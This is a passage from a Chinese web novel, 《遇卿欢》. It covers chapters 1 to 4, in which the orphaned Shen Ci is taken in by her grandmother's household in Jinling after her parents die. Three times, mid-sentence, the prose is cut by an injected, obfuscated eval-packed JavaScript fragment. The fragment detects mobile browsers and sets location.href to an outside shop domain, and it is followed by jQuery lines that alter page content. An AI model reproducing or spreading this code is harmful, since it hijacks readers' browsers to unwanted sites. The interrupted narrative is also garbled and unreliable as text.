《遇卿欢》 1. 第1章 第1章金陵 沈瓷离开平江的那一日,天上下起了雪。 南方冬日有雪,这并不是什么稀罕事,偏偏今岁比往昔早了些许,这雪来的又急又猛,不过半个时辰地上就白了一片,平添许多萧瑟之意。 沈瓷掀开马车帘子看向不远处的水面,眼神怔怔,不知在想些什么。 随行的侍女担心沈瓷会冷,替她披上氅衣,小声劝她放下帘子。 沈瓷并未理会,依旧直勾勾的看向外头。 官道和水路不重合,她如今看见的也不过是水路支流,仅有这一小段。 直至那蜿蜒曲折的支流越行越远,沈瓷才放下帘子。 可她的模样并无半点好转,依旧呆呆愣愣,思至伤心处,眼泪就如同断了线的珠子似得落下。 秋叶冬竹拿出帕子温柔的给沈瓷擦拭眼泪,开口欲劝。 沈瓷回过神来,从冬竹手中接过帕子自行擦起了泪,自然的打断了她二人未说出口的话,“不必劝我…” “咳咳…”沈瓷的话还未说完,只觉喉间泛起痒意,忍不住咳嗽起来。 秋叶冬竹对视一眼,眸中皆是担忧,一个倒水一个捶背,只希望她能舒坦些。 沈瓷咳了好一阵才止住,原本泛白的脸色也因为咳嗽变得潮红,秋叶看的于心不忍,“姑娘,可要告诉舅老爷一声?” 沈瓷才堪堪缓过神来,听见这话便急急的制止她,“别,别去。” 她生怕秋叶出去喊人,语速极快,一着急又咳嗽起来。 “姑娘您别着急。” 秋叶忙不迭的递上茶水,沈瓷接过小口小口的抿着,缓解了喉间的痒意,这才轻声开口解释,“沈家的事已经够劳烦舅舅,不许去打扰。” 两人对视一眼,心说这事怎么能算打扰? 姑娘都已经病的这般严重,这可万万拖不得。 她们本想着偷偷去告诉,偏沈瓷看出了她二人心思,冷静的解释道:“舅舅是朝廷命官,朝中公务繁忙,因着爹娘的后事,他亲自来了平江,这原本是不需要他出面的。可舅舅不仅亲自来了,这些日子还上下打点,多番走动,忙了好几日,好不容易才得空能歇一歇。” “他本就因为母亲的事伤神不已,何必又要为了我忧心?” 沈瓷知晓外祖让舅舅接她去金陵,是怜惜她没了父母担心她被族人欺负。舅舅待她也极好,告诉她有什么委屈都可以说出来。 可舅舅越过沈家族人带她离开,已是惹人非议,她心中很是感激,万万不愿再给舅舅添麻烦。 爹娘的棺椁下葬的那一刻,沈瓷就明白,从今往后这世上再不会有人不求回报的待她好,而她要有分寸。 秋叶冬竹拗不过沈瓷,纷纷低头称是,可彼此眼中皆是心疼。 沈家突遭变故,老爷夫人遇上海难双双亡故,只留下姑娘一个。 老爷自幼被道士批命天煞孤星刑克父母亲族,父母亡故后被族中所弃,万不得已从了军,这么些年孤身一人创下大片家业,这时候昔日族人纷纷变了模样开始亲近起来,任谁也知是何目的。 老爷在世时,他们讨不得一点好处,早已经怀恨在心。 原本有老爷压着,他们也没法做什么,谁知老爷夫人竟去的那么突然,二人尸骨未寒,沈家族人皆已经开始算计沈瓷谋求好处。 偌大的沈家竟也没个长辈能护一护姑娘。 若非夫人娘家得了消息,怜悯姑娘孤亲自来接,只怕姑娘这会儿还不知要落得何种下场。 这些道理秋叶冬竹懂,沈瓷也懂。 从平江去金陵,分明水路更加方便,可舅舅却选择用马车走官道。 因何原因她再清楚不过。 不过是不想她触景生情。 这份心意沈瓷都记在心里,“不是什么大事,我多歇一歇便会好的,你们若实在担心,到了金陵再请大夫也不迟,平江距金陵不算太远耽误不了多久。” 沈瓷不想兴师动众,秋叶冬竹也不能自作主张,只能愈发尽心的伺候着。 平江距离金陵当真不远,不过几日,沈瓷就踏上了金陵地界。 此处同她记忆中无甚差别,朱雀街两旁的商铺里摆放着玲琅满目的商品,街道两旁还有不少沈瓷能叫出名儿的铺子。 母亲自幼在金陵长大她还在时,对这里的一切都很有感情。常常会带她来,那时候爹爹不管多忙都会抽时间送她们过来,一路上母女俩说说笑笑,在路上见着什么都想买,常常还没到外祖家,她们的马车里就堆满了东西。 爹爹总是一边摇头一边替她们提着东西… 回忆来的猝不及防,沈瓷只觉心中闷闷钝痛,眼泪在眼眶中打着转,她唯恐泪水滚落,下意识的闭上了眼,想把眼泪憋回去,她憋的难受,缓了好久才缓过神来。 好一会儿才若无其事的擦了擦眼角沁出的泪。 马车却并不懂沈瓷的心酸,依旧尽职尽责的往前头走去。 忠毅伯府中,二夫人裴氏刚看完一个月的账册,才坐下歇了歇,陪房妈妈张氏便一脸紧张的走了进来,在她耳边耳语道:“二夫人,二爷打发人回来传话,说他和沈姑娘这会儿已经进了城往家里赶了。” 裴氏才端起一杯茶,都顾不得喝上一口,急急忙忙的站了起来,“什么?都进城了?怎得不早些传口信过来?” “院子收拾好没有?让底下的人来回话。”裴氏话虽如此,可根本坐不住,索性自己亲自走一遭,说着就要去看一早定好的院落。 张嬷嬷即刻搀扶着她往外走,嘴里不住劝说,“夫人您别急,这事儿来得太快院子许是没那么快拾掇出来。” “至于二爷没提前来消息,许是这些日子太忙碌,一时疏忽了。” “好在沈姑娘是外甥女,不会计较这些。” 裴氏听见这话,没好气的瞥了她一眼,“浑说什么话?就因着是外甥女才不能怠慢,方才还想着差人问问二爷何时归家,谁知竟已经到了。” “是奴婢失言。” 主仆俩说话间已经到了地方,但院子只收拾了一小部分,底下的人诚惶诚恐,见裴氏过来大气都不敢出。 张嬷嬷唯恐裴氏生气,忙开口解围,“夫人,这院子不小,几日光景实在是太赶了些。” 裴氏又何尝不知?府上承蒙皇恩,赐下的宅子不小,府上主子人数有限,诺大的院子要收拾好的确需要些时日,她倒不至于迁怒下人,只是头疼一会儿见了婆婆不好交代。 “大郎和二郎去何处了?差人把他们找来。”裴氏一边往外走一边吩咐着张嬷嬷,“丫头们呢又在何处?” “大公子和二公子出府去了还没回来。” “二姑娘三姑娘这会子在福寿堂陪着老夫人。” “你亲自带人去外头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635231|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯着,接了人后便请到福寿堂来。”裴氏吩咐完后便亲自去了福寿堂,脚步匆忙了些许,她心里埋怨丈夫办事不周到,可这会儿不是抱怨的时候,外甥女远道而来,她可万万不能让人寒了心。 裴氏到了楚老夫人的院子,刚一走近就听见里头传来了些许欢声笑语,她仔细的听了听,原是两个丫头在哄老祖母吃糕饼。 这些日子婆婆因为小姑的事情神伤,裴氏也许久不曾听见福寿堂传来欢声笑语。 心中到底感慨。 楚老夫人身边的康嬷嬷见着二夫人,立刻过来迎,“二夫人怎么这会儿过来,可是出了什么事?” “二爷传来消息,说是已经到金陵,估摸着过一会就要到了。” 裴氏并未压低声音,楚老夫人在里头听得清清楚楚,她抬起头看向外头朗声问道,“可是沈丫头到了?” “是,已经到了金陵,您也可以放心些。”裴氏一边往里走一边回着话。 楚老夫人听见这话立刻就坐不住了,非要出去瞧一瞧,两个孙女一左一右的扶着她,裴氏立刻将人给拦下,“娘,媳妇已经命人出去迎,接了人后立刻让过来,您别急。” 裴氏将婆婆劝下,楚老夫人虽还是神色着急,却到底耐住了性子安心的等着。 而方才说话逗老人家开心的姐妹俩,这会儿却安安静静的坐在一旁,一言不发。 姑姑家中的事情她们早就已经知晓,也盼着能早些见到表妹/表姐,如今真到了要见面的时候,姐妹俩反而忐忑起来。 不知等会儿见着人,该说什么才合适。 若是说错了什么话,岂不是惹人伤心? 姐妹俩坐立不安,抬起头看着母亲,希望能从母亲哪儿得到一点提示,可母亲这会儿根本顾不得她们俩,二人无法,只能紧紧握着彼此的手… * 沈瓷全然不知外祖母已经在等她,马车停在伯爵府的角门处,下了马车后她王者熟悉的朱门,只觉得恍如隔世。 角门处早有人等着接她,瞧见她后立刻迎了上来,“二爷,沈姑娘。” 这人沈瓷认得,是舅母身边的张嬷嬷,她便问候了一句,“张嬷嬷。” 楚恒方才进城就接到了消息,要他去户部衙门一趟,他本想亲自带着外甥女去见母亲,但公务也耽误不得,此番见夫人安排了张嬷嬷过来接人,心中放心不少,面对沈瓷时语气也轻松了些,“一会儿跟着嬷嬷去见一见你外祖母,她老人家一直记挂着你,府上你也都熟悉,到了此处就和家中一样,不必拘谨。” “有什么事就同你舅母说。” 沈瓷将舅舅的话一一记在心中,“是,阿瓷记下了,舅舅慢些。” 楚恒点过头,步履匆匆的离去。 张嬷嬷上前一步迎沈瓷进府,就要领着她去见楚老夫人,“沈姑娘,老夫人这些日子可一直都盼着您。” “还请嬷嬷带路。”沈瓷的声音又轻又淡,同从前很不一样,张嬷嬷心中略过一丝怜惜。 她在前头走着,沈瓷在后面跟着,她看不清张嬷嬷的脸,只听见她在前头说话的声音。 只是沈瓷心思全不在这上头,并未注意到她说了些什么,她随着张嬷嬷穿过中廊,又行至长廊,一路上蜿蜒曲折,心中无端端涌现出害怕,明明是来过许多次的地方,可没有母亲陪在她的身边。 于她而言,也全是陌生。 2. 第2章 忠毅伯爵府同沈瓷记忆中并没有什么差别,碧瓦朱甍,亭台楼阁,弯弯曲曲的长廊一眼看不到头。 她跟在张嬷嬷的身后来到了福寿堂。 刚一踏进院子,就有人迎了上来请沈瓷进屋,“沈姑娘快里边请,老夫人已经等候多时。” 沈瓷微微的点头,随着嬷嬷进屋。 她进了里间才瞧见舅母她们也都在,沈瓷刚要拜见,就被上首走下来的老太太拉进了怀里,“阿瓷,可苦了你了。” 沈瓷尚未来得及说话,身边又围过来不少的人,规劝的规劝,安慰的安慰,一时间福寿堂很是热闹。 楚老夫人抱着沈瓷哭了许久,好不容易冷静下来,等到沈瓷一一行过礼,能坐下好好说话时,已经是两刻钟之后。 沈瓷坐在楚老夫人的身边,双手被外祖母紧紧的握住,久久都没能松开。 她能够感觉到外祖母看着她的目光带着许多的怀念。 怀念的人是谁不言而喻,沈瓷垂下眼眸敛去了眼中的泪,不想让人发现。 楚老夫人不知沈瓷心中所想,只是怜惜外孙女如今孤苦伶仃,看着她就忍不住落泪。 沈瓷见状拿出了自己的手帕,替她擦去眼泪,“外祖母,您要多保重。” 外祖母年事已高,方才因为母亲的缘故哭了一场,这会儿才堪堪的止住,若再勾出伤心事,岂不是她的罪过。 楚老夫人听见这话,又忍不住掉了泪,不愿孩子忧心,这才应了几句。 裴氏也是于心不忍,便借口问起丈夫来,埋怨他没亲自送沈瓷来福寿堂。 楚老太太也顺势接话,半真半假的抱怨儿子。 在场所有人都听得出裴氏和楚老太太是在打圆场,偏偏沈瓷这会儿没反应过来,真以为舅母埋怨舅舅,赶忙开口解释,“舅舅这些日子很是忙碌,好几宿都没合眼,这一路上都在处理公务,方才也是衙门的人来寻,舅舅才去的…” 裴氏原本不过是想着让婆婆和外甥女不要太伤心才顺势开口,谁知还勾出了这些事来,她担心丈夫的身子,便多问了几句,“可是家中还有什么事情尚未办妥?” 裴氏话音刚落,就连楚老夫人都紧张的看过来,沈家如今还有什么要紧事? 不过是沈瓷父母的身后事,事情太突然也太匆忙,楚老夫人唯恐女儿女婿走的辛苦,这些日子天天吃斋念佛盼着菩萨保佑。 如今听见这话,自然是揪心。 沈瓷明白外祖母的担心,倒也顾不得别的,立刻回话,“爹娘的后事,是族亲操办的…有舅舅亲自在,族亲不敢造次。” “只是因着谁给爹娘扶灵一事起了不少争执…家中来了许多人均不许我为爹娘扶灵,舅舅因为这件事和他们吵的厉害。” 沈毅夫妻俩唯有沈瓷一个孩子,素日疼爱如珠如宝,沈瓷长这么大从未受过什么委屈。 她没了爹娘已是痛苦万分,偏偏这时候还有人拦着她送父母最后一程,只因为她是女子,便提议由族中旁支的侄儿来扶灵,若非舅舅去了平江。 沈瓷只怕要遗憾一生。 楚老夫人心疼沈瓷小小年纪遭遇这些,心中又气又怒,可当着外孙女的面也只能安慰,“这些事都过去了,莫要再去想。” 沈瓷轻轻的点点头,安静乖巧的坐在楚老夫人身边。 这些事楚老夫人和裴氏尚不知晓,听罢心中满是厌恶,沈瓷没说的太明白,婆媳二人也没细问。 视线对上的时候彼此心中都明白,想着晚间等楚恒归来再问个清楚。 福寿堂的气氛压抑又低迷,一时间有些尴尬。 两个小姑娘从方才开始就安安静静的待着,这会儿见祖母和母亲都不说话,便壮着胆子开口,“母亲,我今日能不能同表姐一起住?” 说话的人是裴氏的二姑娘,名唤楚思怡,比沈瓷小了两岁,因着从前沈瓷常常跟随着母亲来外祖家。 表姐妹间倒也是相熟。 “就你晚上睡觉那么不安分,小心别踹着人。”姐姐楚映梦也不甘示弱的开口,挤兑了妹妹后便去和母亲撒娇,“娘,能不能让阿瓷和我一起住?” 裴氏心中原本就存了事,正愁不知要如何说起,这会儿被两个姑娘误打误撞的说破,就趁机和楚老夫人提及。 “这也不是什么大事,让沈丫头跟我一块住就好,至于院子让下人们慢慢收拾,等什么时候天气暖了再搬亦不迟。”楚老夫人也知情况,断不会为难儿媳妇。 裴氏原本担心婆婆年纪大了晚上觉少,想让沈瓷和自己一块住,可也拗不过老夫人去,只得应下。 倒是楚映梦和楚思怡姐妹俩很是不高兴,非要和她一块住,拉着沈瓷的手要她自己选。 沈瓷左右为难。 裴氏赶忙让两个女儿莫要闹,可楚老夫人却要留她们仨一块住,“多大点事,你们俩也同阿瓷一块随着祖母住就好。” 姐妹俩自然高兴,但裴氏却面露担忧,“两个丫头在这儿,会不会打扰娘您的清净?” 府上婆母的确是好的,但婆媳相处,方方面面都是门道,裴氏也不得不小心。 楚老夫人随意的摆了摆手,“有这两个丫头在,热闹热闹才是好事。” 婆婆把话说的那么明白,裴氏推脱不得最终应下。 楚老夫人便让人去收拾隔间,姐妹俩得了准话后高高兴兴的围着沈瓷说话,楚老夫人同裴氏瞧见她们姐妹三个凑在一块说话,也放心了不少。 老夫人说眼神一直落在沈瓷的身上,没一会儿姐妹俩像是起了什么争执,纷纷要沈瓷评理,沈瓷有些拘谨没打算开口。 她二人倒也不着急,径直去寻老祖母。 楚老夫人便乐呵呵的走到了一旁。 康嬷嬷见裴氏面露忧色,走过来小声劝了几句,“二夫人莫要担心,有两位姑娘在,许是好事,不然老夫人心里一直念着大姑奶奶,这夜里头不知要醒来几回。” 裴氏被说服了,再没多言什么,“两个丫头住在福寿堂,还要劳烦康嬷嬷多多费心。” 康嬷嬷连连应声。 裴氏见祖孙几人围在一块说话,便招呼张嬷嬷到身边,问起别的事来,“大郎和二郎可回来了?” * 自从楚恒传回来消息,裴氏下了命令后,张嬷嬷就派人去寻府上的两位公子,只是他二人今日外出,一时半会儿回不来。 等到府上的小厮好不容易打听到两人的行踪赶过去时都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635232|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经过了许久。 楚修筠和楚景澄今日约了表兄裴珩一道下馆子,这会子刚用过膳,说好过会子一同去书斋置办些笔墨纸砚。 三人正说着话,楚府的小厮就急匆匆的寻来,楚修筠见着后命他上前回话,“何事这般着急?” 小厮顺过气来便请两位公子回府,“二夫人请二位公子回府。” “出什么事了?”楚修筠冷静问道。 小厮抬眸看了眼楚修筠,似有些拿不定主意这事儿能不能提。 雅间中唯有他们三人,楚修筠兄弟二人和表兄关系融洽,倒也没想着隐瞒,“但说无妨。” 小厮得了准话便不再扭捏,极快的开口,“二爷从平江回来了,沈姑娘也到了金陵。” 小厮说完,兄弟二人顿时就明白原委,平江距离金陵不算太远,算算时日大抵就是这几日,倒是没想到,他们竟今日到了。 表妹远道而来,兄弟俩自然是要即刻回府的,打发走小厮之后,二人就想着要如何同裴珩说明原委。 裴珩不知这沈姑娘是谁,听小厮话中的意思,像是有远客到来,见他二人面露尴尬之色,便大大方方道:“家中既有远客,你们就快些回去。” 兄弟俩如蒙大赦,不约而同的松了一口气,连连赔不是,等裴珩应下后便转身离去。 脚步声渐行渐远。 裴珩被放了鸽子,倒也没有太在意,书斋哪日都能去,并不急于一时,他将杯中的酒一饮而尽便带着小厮回府。 谁知回到府上就有小厮在门房等着,“世子,侯爷请您去书房一趟。” 裴珩到了书房只见永宁候端坐在书桌前,只是眉头紧锁,像是有什么烦心事,“父亲寻我,不知有何吩咐?” 被父亲请去书房并不是什么稀罕事,只是裴珩极少在白日见着父亲,心中不免有些惊讶。 “沈毅的事情你可知晓?”永宁候也不和裴珩绕弯子,开门见山的问道。 裴珩微愣,随即出声应道,“知晓。” “陛下这些时日因为沈毅的事情震怒不已,只是这件事若是人祸倒也罢了,至少还能寻到个罪魁祸首平息怒火,偏偏是天灾…” “沈家的那些族人,听闻还在平江闹事,可怜沈毅夫妻俩尸骨未寒…” 平江节度使沈毅和夫人双双遇难的消息早已经不是秘密,沈毅戎马半生,谁都不曾想过他竟会因为一场海难而丢了性命,金陵城中人人提及皆是唏嘘不已。 沈毅和其妻夫妻恩爱,但却子嗣单薄,唯有一个女儿。 裴珩听着父亲的话,总算反应过来楚家兄弟为何神色匆匆。 沈毅的夫人姓楚,正是楚家兄弟的姑姑。 而那沈姑娘的身份,也是呼之欲出。 裴珩这些时日夜听到不少的消息,他起初并未深究,沈并非什么特殊姓氏,忠毅伯爵府也不一定只有沈毅一门亲,一开始裴珩当真没往哪个方向去想,只当那沈姑娘是什么远房亲戚。 这会儿倒是发现了不少问题。 父母亡故,还有族亲。 怎么也轮不到外祖家来教养,如今却是姑父亲自去将人接来的。 沈家族人众多,怎得容不下一个小姑娘吗? 3. 第3章 裴珩的思绪有些发散,心中虽觉疑惑,却也并未深究,很快就将这件事抛诸脑后,只认真的听着父亲说话。 “平江地处要道,沈毅的位置很要紧,他走的突然,陛下一时之间寻不到人来接替他,很是头疼。” 永宁候随口提及,他有心想要考验裴珩,但裴珩如今未及弱冠,他也并不指望裴珩能说出见解。 偏偏裴珩没让他失望。 “父亲倒不必如此忧心,虽说平江节度使的位置要紧,可陛下心中未必没有人选。”裴珩原本是不想开口的,但从他进书房至今不过一刻钟,父亲提及沈毅的次数也太多了些。 裴珩尚未入仕,但因着是世家子弟,倒也有幸得见天颜,他私以为陛下这般的表现,大抵是做给人看的。 “哦?何以见得?”永宁候来了兴致,非要裴珩说出个所以然来。 裴珩心知一时半会儿走不成,唯有打起精神来应对,等到他离开书房已经是一个时辰之后的事情,若他还不曾反应过来是被父亲给算计,那就太说不过去。 思及此,裴珩的心中也有些烦闷,他整了整自己的衣袖,郑重其事的看着永宁候道:“父亲日后若是有话大可直说,不必如此拐弯抹角。” 说罢不等永宁候反驳什么,便躬身离开。 永宁候看着裴珩的背影,差点儿给气笑了,只是当爹的来不及抱怨,就见自家夫人端着东西走了进来,“珩儿怎么走了?” 食案上头有两个盅,他知晓是夫人替他和裴珩准备的。 只不过他比裴珩早两个时辰归来,在书房坐了许久,也没见夫人差人来问一问,许是原本没有他的份,是托了裴珩的福。 永宁候眼皮子掀了掀,语气不善道,“夫人可是来晚了一步,那兔崽子已经走远。” “这汤,怕是用不上。” 永宁候一边说着话,一边凑过去看了眼,得,就连这汤也是裴珩喜欢的。 永宁候夫人好生无奈,“孩子好好的,又是什么地方开罪你了?平白无故的挤兑他。” “夫人如今只会向着他了?” 永宁候好不服气,说出的话自然是不怎么好听的,惹得永宁候夫人差点笑出声来,可谁让眼前的人是自己的丈夫? 她也唯有自己哄着,好在丈夫虽然气性大,但胜在好哄,不过须臾就忘了前头的事,坐在书桌前开始喝汤。 永宁候夫人这才问起父子俩方才在说些什么。 永宁候不恼孩子之后,倒是心态平和许多,同夫人说起裴珩来,字里行间都是止不住的喜悦夸赞。 隐隐还带了些炫耀之意。 永宁候夫人忍俊不禁,只当自己什么都不知晓,省的一会儿丈夫又要别扭上。 * 另一边,楚修筠和楚景澄得了消息后就往回赶,回到府上时才知表妹和两个妹妹都在福寿堂,二人便径直去了祖母处。 福寿堂内,沈瓷正和表姐表妹坐在一块儿玩翻花绳,不算太有新意的玩意,好歹能够打发时间。 他们俩过来时,姐妹三个已经玩了许久。 楚思怡看见两个哥哥之后热情跑到他们跟前招呼两人一块儿玩。 兄弟俩急急忙忙的过来可不是为了来翻花绳的,楚景澄哄了妹妹两句,便问祖母在何处。 “祖母说今日要亲自下厨,这会儿去忙了,让我们几个在这里玩。”楚思怡大大咧咧开口,拉着哥哥一块儿玩,楚景澄拗不过,就这么被拽走了。 倒是楚修筠还记挂着表妹。 走近了些同沈瓷打招呼。 沈瓷自然也见着人,停下了手中的花绳,“大表哥。” “表妹一路上过来可还好?”楚修筠见她脸色苍白,心中有些担忧,只是他们到底男女有别,能说出口的干不过是一些寻常问候。 沈瓷知晓表哥好意,即便不怎么愿意提及这些,见表哥问起,也是强撑着精神回应。 过后便是长久的沉默。 沈瓷有心想和他们说说话,楚修筠等人对她亦是关切。 只是兄弟姐妹间许久未见,多少有一些生疏,好在楚思怡和楚景澄两个一直在说话,他们之间的气氛也并没有很尴尬,几人幼时都相熟,说起大家都有印象的事,无形间的拉进不少距离。 待到晚间摆饭的时候,沈瓷都已经能和两位表兄一起说玩笑话。 楚老夫人看在眼中,心里多了不少的安慰,祖孙几人围在一块儿用膳,好不热闹,楚老夫人携着沈瓷,让她挨着自己一块坐。 另一边坐着楚景澄。 楚思怡挨着二哥一块坐。 多数时候都是楚景澄和楚思怡在说话,其余几人听着,气氛很是热闹。 楚老夫人今日说要亲自下厨,那是半点都没有含糊,盛汤的时候一视同仁,每个孙儿都没有落下。 一顿饭吃的其乐融融的,用过晚膳之后,大家伙儿围炉煮茶,一块儿说说笑笑的,时间不知不觉的过去。 楚老夫人明明已经困倦,却强撑着不肯睡过去,还是康嬷嬷看了看时辰,硬着头皮强行请老夫人就寝,他们几人才各自散去。 福寿堂内兄弟俩给祖母请过安后离开。 丫鬟们早早的将床榻收拾出来,秋叶冬竹伺候着沈瓷洗漱,两人眉宇间尽是忧色,忍不住问姑娘身子可好,可要请大夫瞧一瞧? 她们早就想问,只是白日里担心姑娘嫌她们多事才憋了许久。 如今见沈瓷脸色苍白,如何还能忍得住。 “不用这么担心,我没什么大碍。”沈瓷不愿麻烦人,她自觉已经好了许多,今日不过是偶尔想咳嗽,比起先前已有很大好转。 “外祖母已经歇下,有什么事明日再说。” 秋叶冬竹说不动沈瓷,只能忐忑的守在一旁。 福寿堂很大,三人被安排在东厢房,只是分别睡在不同屋子里,康嬷嬷来看过一回,见三人都乖乖的睡下,便去回话。 待到主卧没有动静之后,姐妹俩不约而同的睁开了眼,抱着枕头去找了沈瓷。 “阿瓷。” “表姐。” 沈瓷还未睡着,听见动静后立刻睁开了,“表姐?思怡?” “我们能不能一起睡?”两人虽是询问的语气,但态度却很明显。 穿着单薄寝衣,抱着枕头站在床下,屋子里虽说燃了炭盆,到底是冷的。 沈瓷连忙让开位置,姐妹俩也不扭捏,径直爬上了床。 三人一块儿躺着,盖着同一床被子。 姐妹俩方才不管不顾的要跑过来,此番却不知要同沈瓷说些什么。 楚思怡仗着自己是妹妹,撒娇的拉着沈瓷说话,“表姐,明儿个我们早些起来,让哥哥带我们去外头吃朝食可好?” 沈瓷轻轻的应声。 因着已是就寝时候,她躺在床上神情倒也是放松,只是实在困倦,不知什么时候睡了过去。 倒是姐妹两个聊起明日的朝食,越说越兴奋,一时之间没能停下来。 最终还是楚映梦发现沈瓷睡了过去,让妹妹小声一些。 “表姐睡着了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635233|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”楚思怡也困得不得了,只是方才一直舍不得睡,担心表姐的情况,这会子忍不住的打哈欠。 “嗯。”楚映梦低低应了一声,起来替沈瓷掩了掩被子,招呼一旁的妹妹早些歇息。 “阿瓷最近肯定很难受,我们多陪陪她。”楚映梦想起姑姑昔日的音容笑貌,心中就堵得慌。 楚思怡默默的点了头,并未反驳姐姐的话。 二人闭上眼睛,一左一右的睡在沈瓷边上,以一种守护的姿态陪着沈瓷,虽未明说但态度很是分明。 睡到夜半时分,楚思怡嚷嚷着热。 沈瓷没被吵醒,反倒是隔得远些的楚映梦被吵醒,她揉了揉额头轻声问道,“怎么了?” “姐,我好热。”楚思怡的声音还带了点委屈,楚映梦到底心疼妹妹,强撑着醒了过来,而后发现并非是屋子里的炭盆太暖。 而是她靠着沈瓷太近,才会觉得热。 沈瓷浑身滚烫,烧的厉害。 楚映梦将手放到沈瓷的额头上,被烫的一哆嗦,她瞬间惊醒过来立刻朝外头唤人,“东珠快去叫人,去找康嬷嬷,请大夫过来。” 东厢房的动静很快就传到了主卧,小丫鬟不敢怠慢立刻去寻康嬷嬷,康嬷嬷来的很快,见此情形之后便立刻让小厮去请大夫。 这里的动静瞒不住,楚老夫人也醒了过来,“出什么事了?” 大姑奶奶人没了,沈姑娘就是老夫人的心头肉,康嬷嬷没敢隐瞒,小声的说了缘由。 楚老夫人一听压根就坐不住,非要去看个究竟,“大夫呢?去请了没有?” “沈丫头这会儿可还好?” 楚老夫人一边说着话,一边往外头走,康嬷嬷连忙搀扶,走到东厢房时却见楚映梦和楚思怡也在很是惊讶,“你们俩怎得也跑这儿来了?快些回去歇着。” 楚老夫人刚刚说完话,就看见床榻之上并排的三个枕头,瞬间明白原委。 不多时大夫就来了,丫鬟立刻将两位姑娘带到了里间,康嬷嬷则陪着楚老夫人站在一旁。 大夫把脉之后说是风寒,“恐是有些时日了,今日许是过于劳累,才会高热不退。” 楚老夫人命人送大夫出门,顺势去抓药回来。 沈瓷还不曾醒,康嬷嬷留了楚老夫人身边的大丫鬟照顾着。 原本这样的事理应交给秋叶冬竹,她们一直伺候沈瓷也是熟悉。 但楚老夫人却将人给带走,摆明了是有话要问。 主屋里,秋叶冬竹跪在地上瑟瑟发抖,面对楚老夫人时,二人心中很是忐忑。 楚老夫人也并不和她们绕弯子,直截了当问她们俩可知晓沈瓷身子不适。 秋叶冬竹自是不敢隐瞒。 “这么大的事,为何不来禀报?”楚老夫人恼她们俩不知轻重,声音暗恨,“若是出什么事,你们可担待的起?” 秋叶冬竹忙不迭的磕头求饶,颤颤微微的解释说,是姑娘不让提。 “什么?” “姑娘在来的路上就染了风寒,只是一直不让说,姑娘不愿麻烦舅老爷…”秋叶冬竹的声音很轻。 只是夜晚太过安静,楚老夫人听得清清楚楚。 满腔怒火戛然而止,老夫人心中五味杂陈,她心疼沈瓷太生分,可到了这个年纪,老夫人还有什么看不明白? 她随意的挥了挥手将两人给打发走。 沉默许久才缓缓抬眸,看向了东厢房的方向。 烛火通明,楚老夫人却不发一言,康嬷嬷也只听见了微不可闻的叹息声。 4. 第4章 福寿堂的动静不小,裴氏很快就知晓了原委,本想亲自过去探望,可楚老夫人早有所料,派人来知会裴氏不用特意走一遭,等天亮了再去也不迟。 裴氏得了吩咐,自不会忤逆婆婆,只是这会儿有些睡不着,便将一旁的丈夫给推醒,问他知不知晓外甥女得了风寒。 楚恒自然不知这些事,见夫人问起很是惊讶,“阿瓷病了?什么时候的事?一路上她什么都没提,我还以为…” 他今儿个都还没来得及进家门就被人喊走,回到家中时天色已晚,裴氏自然什么都没有问,谁知竟然还有这样的事情,这会儿有些埋怨的看着他。 楚恒也很是无奈,他一个大男人,原本就有诸多的不便,外甥女如今大了也不似小时候那般亲昵,许多事也不会同自己这个舅舅说。 裴氏心中大抵明白缘由,知晓这事儿也怪不到丈夫的头上,就将这件事情揭过,反而问起在平江时出了什么事。 “沈家那一家子,可真不是东西。”楚恒说起这事心中就来气,妹妹妹夫是冬月初八没的,他们接到消息过去时已经是冬月十二,灵堂虽然设了,但整个府邸乱糟糟的,连个主事人都没有。 沈家族亲并未太过怠慢,却也没怎么用心,整场丧事办的很是敷衍。 沈毅家底丰厚,身后事本是能办的风风光光,体体面面,只是沈瓷还是个孩子根本就不懂这些,还是要依靠族人, 花圈棺木,香油纸钱,来吊唁的宾客,一桩桩一件件都是事。 沈家族人的确帮着办了,可谁都不肯吃亏,置办了什么都要来报账,连一个铜板都吝啬多给。 一个个都惦记着怎么算计沈毅的家产… 若不是他过去,事情还有的扯。 “我去的时候,阿瓷就一个人眼眶通红的跪在灵堂上,给她爹娘烧纸,我问起缘由才知,是沈家人不允她扶灵,唉…”楚恒只要想起那一幕心中就很是难受。 “接阿瓷过来虽是爹娘的意思,可也是我的私心,只是日后要辛苦夫人。” 楚恒说起这些来,心中也有些愧疚。 他们府上确有爵位,可爹娘和大哥健在,他是次子,除非大哥有大过,不然这爵位也断然轮不到他。 